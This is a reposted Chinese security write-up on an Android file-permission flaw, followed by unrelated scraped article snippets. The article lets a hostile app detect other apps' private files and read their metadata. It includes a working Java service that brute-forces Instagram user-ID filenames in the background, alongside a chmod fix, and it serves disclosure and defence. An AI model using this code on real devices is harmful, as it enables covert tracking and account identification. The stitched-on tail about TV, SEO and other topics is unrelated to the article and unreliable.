都是权限惹的祸:安卓恶意APP如何将其他APP中的私有数据搞到手

前言

下面要介绍的恶意软件可以读取Android手机中其他app的文件元数据,例如文件的名称、大小、以及最后修改日期等等。如果文件名中含有敏感信息的标识,那么这款恶意app会将这份文件识别为敏感文件,并且还可以对其进行暴力破解攻击。除此之外,它还可以通过分析其他app私有文件的大小和最后修改日期这两部分数据,来对其他app的使用情况进行实时监控。

实际上,从Android操作系统的诞生之日起,其文件系统中就一直存在着权限问题。当我将该漏洞提交给Google公司之后,Google将这一漏洞归类为了“低危漏洞”,并且给我提供了五百美元的漏洞奖金。

我写这篇文章的目的只是为了抛砖引玉,希望能给大家提供一个关于处理Android安全问题的思路。

问题分析

Android App的私有数据默认会保存在“/data/data/”目录下,其他的App没有权限访问存储在该目录下的数据。接下来,我们用Youtube App来举个例子。

Android端的Youtube应用程序会将其私有数据保存在目录“/data/data/com.google.android.youtube/”之下。现在,让我们从根目录开始分析一下整个文件系统中各个文件的权限:

/data/drwxrwx--x system system 2015-11-30 20:30data

/data/data/drwxrwx--x system system 2015-11-29 15:34data

/data/data/com.google.android.youtube

drwxr-x--x u0_a77 u0_a77 2015-11-29 11:02com.google.android.youtube

/data/data/com.google.android.youtube/*

drwxrwx--x u0_a77 u0_a77 2015-11-08 18:15app_sslcache

drwxrwx--x u0_a77 u0_a77 2015-11-30 19:54cache

drwxrwx--x u0_a77 u0_a77 2015-11-29 13:06 databases

drwxrwx--x u0_a77 u0_a77 2015-11-12 12:10files

lrwxrwxrwx install install 2015-11-29 11:02lib -> /data/app-lib/com.google.android.youtube-1

drwxrwx--x u0_a77 u0_a77 2015-11-30 19:54shared_prefs

我们可以从上面这部分信息中看到,在整个目录结构中,每一个文件目录都给设备用户提供了完整的执行权限(+x)。

而我们也知道,所谓的执行权限,就是允许设备用户可以直接运行目标文件的权限。如果将该权限赋予了某一文件目录的话,也就意味着用户只要知道文件夹下具体的文件名,可以直接通过文件名来访问该目录下的文件内容和元数据。但此时还无法直接进入文件夹,以及访问该目录下的文件数据,因为这样的操作将需要相应的读取权限。

分析结果表明:其他的用户可以使用“cd”命令来进入这些目录,但是无法通过“ls”命令来获取该目录下的所有文件(没有读取权限)。当然了,用户也无法直接在该目录下创建新的文件,因为这将需要文件目录的写入权限(+w):

u0_a84@mako:/data/data $ ls -la

opendir failed, Permission denied

u0_a84@mako:/data/data $ cd com.google.android.youtube

u0_a84@mako:/data/data/com.google.android.youtube $ ls -la

opendir failed, Permission denied

u0_a84@mako:/data/data/com.google.android.youtube $ cdwrongdir

/system/bin/sh: [22]: cd:/data/data/com.google.android.youtube/wrongdir: No such file or directory

u0_a84@mako:/data/data/com.google.android.youtube $ cdshared_prefs

u0_a84@mako:/data/data/com.google.android.youtube/shared_prefs$ ls -la

opendir failed, Permission denied

u0_a84@mako:/data/data/com.google.android.youtube/shared_prefs$ echo “test” >test.xml

/system/bin/sh: [31]: can't create test.xml:Permission denied

但是,如上所述,如果我们能够提前获取到目标文件的名称,那么我们就可以列出该文件,并获取目标文件的元数据了。接下来,我们还是继续分析Youtube App。在默认情况下,该App会在“/data/data/com.google.android.youtube/” 目录下的“shared_prefs”文件夹中生成一个名为“youtube.xml”的文件。虽然很多其他的App可以列出这个文件,但是由于权限的问题,所以这些App是无法读取这份文件的:

u0_a84@mako:/data/data/com.google.android.youtube/shared_prefs$ ls -la youtube.xml

-rw-rw---- u0_a77 u0_a77 6680 2015-11-30 19:54youtube.xml

u0_a84@mako:/data/data/com.google.android.youtube/shared_prefs$ cat youtube.xml

/system/bin/sh: [28]: cat: youtube.xml:Permission denied

正如上面这段信息所示,任何恶意App都可以做到下面这两件事情:

  1. 通过“ls”命令来查看其他App的某些私有文件是否存在于文件系统中,但前提是要知道目标文件的文件名称;
  2. 获取到这些私有文件的大小和最后修改日期;

这绝对是一个安全漏洞,因为我们可以通过以下两种不同的方式来利用这个漏洞:

  1. 恶意App可以可以通过监视特定的私有文件来实时监控某些App的使用情况。比如说,如果恶意App想要知道Android设备的用户一般在何时打开Youtube客户端,那么它就可以定期检查Youtube客户端“shared_prefs”目录下的“youtube.xml”文件,并从获取到的文件大小和最后修改日期来判断用户的使用习惯。因为当用户打开Youtube客户端时,这个文件将会被修改。因此,恶意App还可以通过这个漏洞来分析某些应用程序的使用情况。
  2. 如果某个合法的App选择将敏感数据保存在一个文件中,而文件名称一看就知道是用来存储敏感数据的话,那么恶意App就可以选择对该文件进行暴力破解攻击。比如说,Instagram和Facebook会使用用户ID(USERID)来标识某些敏感文件。不光是这两个App,很多其他的App也会采用这样的方式来处理敏感文件,这种情况我已经见过很多次了。

Instagram:/data/data/com.instagram.android/shared_prefs/.xml

Facebook:/data/data/com.facebook.katana/shared_prefs/XStorage-LATEST-.xml

比如说Instagram,用户ID标识符(USERID)的范围在0-2500000000之间,所以恶意App可以通过暴力破解的手段直接在本地发动攻击。恶意App可以利用下面这段Android代码来在后台对用户标识符进行暴力破解攻击:

import java.io.File;

import java.math.BigInteger;

import android.app.Service;

import android.content.Intent;

import android.os.IBinder;

import android.util.Log;

public class MyService extends Service {

@Override

public intonStartCommand(Intent intent, int flags, int startId) {

newThread(new Runnable() {

publicvoid run() {

Log.v("brute", "Bruteforce started");

BigInteger begin = BigInteger.ZERO;

BigInteger end = new BigInteger("2500000000");

String dirPath ="/data/data/com.instagram.android/shared_prefs/";

while(begin.compareTo(end) != 1) {

String filename= begin.toString() + ".xml";

File test = newFile(dirPath,filename);

if(test.exists()) {

Log.v("brute", "Account found: " +begin.toString());

}

begin =begin.add(BigInteger.ONE);

}

Log.v("brute", "Bruteforce ended");

}

}).start();

returnService.START_STICKY;

}

@Override

public IBinderonBind(Intent intent) {

//TODO Auto-generated method stub

returnnull;

}

}

当上面这段代码所加载的服务被开启之后,恶意App将会被关闭,在后台进行暴力破解攻击的任务就转交给了这个服务来进行。我们在Nexus4手机上进行了攻击模拟,我们遍历了2500000000个可能的文件,总共花费了五天左右的时间,最终成功找到了正确的文件:

当用户感染了这一恶意软件之后,攻击者就可以通过这样的方式来获取到用户的网络服务ID,进而查找出用户的账号。受影响的可能是Facebook、QQ、Youtube、以及微信这样的社交媒体类App,也有可能是金融类的银行App。值得注意的是,Instagram还包含有一个ContentProvider(com.instagram.contentprovider.CurrentUserProvider),可以用来查询用户注册账号的USERID,但是默认情况下Instagram是禁止其他App使用这个ContentProvider的。

但是很明显,Instagram这样做的目的肯定不是为了将用户的敏感数据泄露给其他的App。

这个漏洞是我当初在检测InstagramApp的时候发现的,如果大家对Instagram客户端中存在的其他安全问题感兴趣的话,欢迎各位同学阅读这篇文章[传送门]。

解决方案

这个问题其实也很好解决,我们只需要移除“/data/data/”目录下App文件夹的执行权限(+x),就可以解决这个问题了,这样也可以有效地防止攻击者通过“cd”命令和“ls”命令来获取文件目录下的文件基本信息。

修复前的状态:

u0_a84@mako:/data/data $ cd com.google.android.youtube

u0_a84@mako:/data/data/com.google.android.youtube $ cd ..

u0_a84@mako:/data/data $ ls -lacom.google.android.youtube/shared_prefs/youtube.xml

-rw-rw---- u0_a77 u0_a77 6680 2015-11-30 19:54youtube.xml

修复过程:

root@mako:/data/data # ls -la | grep youtube

drwxr-x--x u0_a77 u0_a77 2015-11-29 11:02com.google.android.youtube

root@mako:/data/data # chmod 750com.google.android.youtube

root@mako:/data/data # ls -la | grep youtube

drwxr-x--- u0_a77 u0_a77 2015-11-29 11:02com.google.android.youtube

修复后的状态:

u0_a84@mako:/data/data $ cd com.google.android.youtube

/system/bin/sh: [25]: cd:/data/data/com.google.android.youtube: Permission denied

u0_a84@mako:/data/data $ ls -lacom.google.android.youtube/shared_prefs/youtube.xml

com.google.android.youtube/shared_prefs/youtube.xml:Permission denied

本文转自d1net(转载)

时间: 2024-10-14 16:06:39

都是权限惹的祸:安卓恶意APP如何将其他APP中的私有数据搞到手的相关文章

电视媒体争相上演抄袭门都是收视率惹的祸

文章摘要:为了收视率,有电视台不惜背上"低俗"."恶搞"的骂名.一时间,收视率一次次饱受社会的诟病,仿佛一切都是收视率惹的祸 为了收视率,有的电视台不惜牺牲播出多年的节目:为了收视率,有的电视频道不惜砍掉社会反响良好但收视率不高的节目:为了收视率,有电视台不惜背上"低俗"."恶搞"的骂名.一时间,收视率一次次饱受社会的诟病,仿佛一切都是收视率惹的祸. 湖南卫视"愤慨"了! 在经历了几个月时间的隐忍之后,湖南

电视媒体争相上演“抄袭门” 都是收视率惹的祸

为了收视率,有的电视台不惜牺牲播出多年的节目:为了收视率,有的电视频道不惜砍掉社会反响良好但收视率不高的节目:为了收视率,有电视台不惜背上"低俗"."恶搞"的骂名.一时间,收视率一次次饱受社会的诟病,仿佛一切都是收视率惹的祸. 湖南卫视"愤慨"了! 在经历了几个月时间的隐忍之后,湖南卫视终于坐不住了. 近日有http://www.aliyun.com/zixun/aggregation/31646.html">媒体报道,湖南卫视准

排名掉了都是SEO惹的祸

昨天晚上(10月20日凌晨)咱们中文搜索引擎龙头老头--百度,给咱们的站长来了一次继6月14日后第二次大更新,此次大更新在排名和收录数据上都有相当大的"反应". 今天一整天(恐怕最近几天也是)各大站长论坛看见的全是关于昨夜百度更新的话题,当然最多的还是抱怨声,只有小部分站长排名"也许"升了在那里乐呵着. 不论是大更新,还是逢周三.周四的小更新,站长论坛里总会看到很多讨论百度排名掉了的问题,许多掉了排名的站长都会说百度出问题了.百度抽疯了.百度今天怎么了.百度到底想干

博客百度快照停留都是服务器惹的祸

这几天对情侣seo来说真是伤筋动骨,快照停留在7.10了,都是服务器惹的祸啊.细心的朋友可能会发现本站昨天以前的三天都不能访问,很多朋友问我why?当时我只能嫣然面对说:"机房服务器在调整."可是一'调整'就是3天,对咱打击够大的.其实蛋蛋在前天,也就是服务器不能访问的3天的最后一天才知道事情的经过,真是无语. 因为当初不想备案,就买了国外主机.正好那段时间我女友和柳亚还算熟悉,就买了她的全来主机.刚开始确实不错的,后来也有点小问题,不过找她后很快就能解决.其实柳亚还算很不错的一个主机

《C语言解惑》—— 1.3 都是注释惹的祸

1.3 都是注释惹的祸 注释语句可以增加可读性,但编译系统检查不出不正确的注释,所以会导致错误的结果.[例1.2]演示注释错误的程序. #include <stdio.h> void main() { double x=0; printf("输入x:"); /* 给出提示 scanf("%Lf",&x); /* 输入信息 */ printf("输出x:%f\n",x); } 编译正确,但运行后直接输出"输入x:输出x

谁在扼杀Google的公信力 都是SEO惹的祸

谁在扼杀Google的公信力 都是SEO惹的祸- -                     谁在扼杀Google的公信力 都是SEO惹的祸 Google在你心目中是什么地位?"Google至高无上,Google代表着公平公正!"Google确实是公平公正的,但是正是由于这种公平引发了对众多网友对Google的信任危机.危机的来源,就是变相SEO(搜索引擎优化)所带来的恶果.1月18日,Google终于开始行动,对依靠Blog的评论提高搜索结果排名作弊的手段发起封杀. 据Google的

腾讯屏蔽外挂 都是彩虹惹的祸

中介交易 SEO诊断 淘宝客 云主机 技术大厅 近日,腾讯宣布将启动一系列技术措施来强化用户的隐私安全.具体手段包括QQ软件中引入IP加密,通过QQ客户端屏蔽非法外挂软件的显IP.显隐身功能.腾讯QQ11月26日开始大规模要求用户强制卸载彩虹QQ,经由其QQ安全中心向用户提示"发现非法QQ外挂",并要求用户卸载,如果用户不予以卸载将无法登陆QQ.似乎在一夜之间,腾讯和51成了怒目相向的冤家.口水.官司.声明,所有这一切搅动了原本愁云惨淡.备受裁员折磨的中国互联网,年初曾经闹得沸沸扬扬的

娱乐圈面瘫怪状都是肉毒杆菌惹的祸?(图)

温兆伦 李多海 蔡琳 人到中年,脸部浮肿让人心酸,肉松变成天理不容,而所谓面僵,更成为娱乐圈一大怪状.近日,温兆伦出现在电视剧<大瘟疫1910>的开机发布会上,大叔似乎风华依旧,未见老态,可惜面部表情僵硬雷人,令人极度唏嘘,难道又是肉毒杆菌惹得祸? 文_陈潇 何谓肉毒杆菌? 1992年有人尝试将肉毒杆菌毒素注射除皱法引进到美容医学的治疗上,就是我们所说的除皱术.肉毒杆菌除皱术也称为生物素除皱,肉毒杆菌A的商品名为"Botox".这种用肉毒杆菌毒素消除皱纹的整容手术应运而生,

巴西世界杯提前“散场” 都是百度惹的祸?

中介交易 http://www.aliyun.com/zixun/aggregation/6858.html">SEO诊断 淘宝客 云主机 技术大厅 文/BAT观察者 自从德国7:1屠主场巴西进决赛后,身边越来越多球迷开始"膜拜"百度大数据,包括那些向来只信解说员或硬币正反面的"古董级"球迷,也开始像当年研究股市行情一样去盯着百度世界杯预测,研究个不停. 个中原因,则是在巴西与德国的比赛中,不仅东道主巴西1-7惨败的成绩让人震惊,而且更让人震惊的是,